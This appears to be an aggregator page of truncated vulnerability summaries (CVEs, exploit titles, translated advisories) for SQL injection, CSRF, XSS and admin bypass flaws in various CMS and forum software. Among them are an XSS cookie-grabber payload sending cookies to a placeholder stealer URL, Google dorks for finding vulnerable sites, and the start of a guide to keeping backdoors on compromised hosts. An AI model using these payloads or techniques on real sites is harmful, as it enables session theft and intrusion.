CVE-2014-3783

SQL injection vulnerability in admin/categories.php in Dotclear before 2.6.3 allows remote authenticated users with the manage categories permission to execute arbitrary SQL commands via the categoriesorder parameter...

ECSHOP background low-privileged sql injection-vulnerability warning-the black bar safety net

Brief description: ECSHOP background low permissionssql injectionone Detailed description: General Delivery clerk in the landing after just need a list of orders of permission, which is a low administrator can be injected to give the super pipe permissions As with file permissions, you can also...

vBulletin Announcements Cookie Steal Vulnerability

If you get access to a forum with an acc that only has default acp, you can get all users information by creating a cookie stealer in announcements. vBulletin Announcements, by default has html enabled, so if you get access to a forum using other exploits and get a user with acp info, but it only...

admin/fixCaseInSpacePermissions.jsp lacks an XSRF token to 'fix the case of your space permissions'

admin/fixCaseInSpacePermissions.jsp does not require a csrf token to 'fix the case of your space permissions'. When fixing this issue, please ensure that the JSP is converted to an action or deleted - we don't want to have to maintain our XSRF infrastructure in JSPs...

Yellow Pages module XSS vulnerability to get PHPCMS V9 admin permissions and repair programme-vulnerability warning-the black bar safety net

Principles PHPCMS in the background is by the Cookie with the QueryString in pchash to determine whether you are a system administrator, wherein the Cookie is there the user local, pchash is the presence of the site database. If you get both and in the configuration of the browser environment the...

CVE-2011-5011

Multiple cross-site request forgery CSRF vulnerabilities in xt:Commerce 3.0.4 SP2.1 and possibly earlier allow remote attackers to hijack the authentication of Admins for requests that 1 set a New user to Admin via the cID parameter to a statusconfirm action in admin/customers.php and 2 grant...

WanHu ezEIP 2. 0 injection vulnerability 0day-vulnerability warning-the black bar safety net

System name: WanHu ezEIP System version: 2.0 Vulnerability found by: Akast N. S. T Security team: Neuron Security Team Vulnerability type: SQL injection Vulnerability file:/caseinfo. asp Vulnerability variable: Newid=1&cid=1 Software type: business software Development company: Guangzhou million...

Kingtop content management software injection 0day vulnerabilities and fixes-vulnerability warning-the black bar safety net

System name: Kingtop content management software System version: all versions Vulnerability found by: Akast N. S. T Security team: Neuron Security Team Vulnerability type: SQL injection Vulnerability file:/news/index. aspx Vulnerability variable: MenuID Software type: business software Developmen...

WanHu ezEIP 2.0 injection vulnerability and fix-vulnerability warning-the black bar safety net

Vulnerability author: akast Detailed description: Vulnerability file:/caseinfo. asp Vulnerability variable: Newid=1&cid=1 Software type: business software Vulnerability Description: The You can use the injection vulnerability to get the site administrator permissions, so you can login to the...

Quick CMS 3.0 Cross Site Request Forgery

================================ + Exploit Title: Quick CMS v3.0 Cross Site Request Forgery Add Admin User + Author : ^Xecuti0n3r + E-mail : xecuti0n3ryahoo.com + Category : Web Apps XSRF + Dork : intext:"Quick.Cms v3.0" inurl:admin.php + Demo CMS Link:...

CompactCMS 1.4.1 - Multiple Vulnerabilities

CompactCMS 1.4.1 - Multiple Vulnerabilities Exploit Title: CompactCMS 1.4.1 Multiple Vulnerabilities Google Dork: intext:"Maintained with CompactCMS.nl" intitle:"Print: " Date: 17-12-2010 Author: NLSecurity Software Link: http://files.compactcms.nl/stable/ Version: CompactCMS 1.4.1 Credits:...

BPAffiliate Affiliate Tracking authentication bypass vulnerability-vulnerability warning-the black bar safety net

BPAffiliate Tracking is a dealer program a script that can be used to track affiliate members. BPAffiliate Tracking the presence of the authentication bypass vulnerability that could lead to an attacker direct access to the administrator permissions. +info: BPAffiliate Affiliate Tracking...

Sablog-X V2. X admin permissions spoofing and arbitrary variable overwrite vulnerability-vulnerability warning-the black bar safety net

Sablog-X is a PHP and MySQL build a blog system. Affected version:Sablog-X-2. x Said First admin permission spoofing vulnerability Due to the Sablog-x v2. x the back-end authentication process there is a serious logical problem, and leads to the special structure of the cookie log in directly to...

Sablog-X 2.0 admin permissions spoofing vulnerability-vulnerability warning-the black bar safety net

Published:2010-02-24 Affected version: Sablog-X 2.0 Vulnerability description: // cp.php if !$ saxuid || !$ saxpw || !$ saxlogincount || !$ saxhash // As long as this condition is not satisfied,it can be through the background of the permission to verify. loginpage; ... if $saxgroup == 1 // If yo...

Frog 0.9.5 Cross Site Request Forgery

------------------------------------------------------------------------------------------------- Title: Frog input type="hidden" name="userpermissionDev...

CVE-2008-6972

CVE-2008-6972 concerns Drupal Content Construction Kit (CCK) 5.x up to 5.x-1.8. The issue is multiple cross-site scripting (XSS) vulnerabilities that allow remote authenticated users with the administrar content permission to inject arbitrary script/HTML via the field label, help text, or allowed...

CVE-2008-6972

Multiple cross-site scripting XSS vulnerabilities in Drupal Content Construction Kit CCK 5.x through 5.x-1.8 allow remote authenticated users with "administer content" permissions to inject arbitrary web script or HTML via the 1 "field label," 2 "help text," or 3 "allowed values" settings...

FreeBSD : drupal -- XSS (a6605f4b-4067-11de-b444-001372fd0af2)

The Drupal Security Team reports : When outputting user-supplied data Drupal strips potentially dangerous HTML attributes and tags or escapes characters which have a special meaning in HTML. This output filtering secures the site against cross site scripting attacks via user input. Certain byte...

BabbleBoard 1.1.6 (username) CSRF/Cookie Grabber Exploit

No description provided by source. + BabbleBoard v1.1.6 Cookie Grabber Exploit/CSRF + Discovered By SirGod + Greetz : All my friends + Cookie Grabber Exploit - Steal the cookie of any visitor. 1.Register as : scriptdocument.location ="http://yourdomain/path/stealer.php?cookie=" +...

Do for as long as possible Backdoor-vulnerability warning-the black bar safety net

First, the use of long-term services: Some time ago to do some broilers do springboard, worked so hard to upload a lot of files, but use within a few days it is K, vulnerability patch, and then simply not a springboard! Results warning! Bitter experience it! How to Chickens left on the back door ...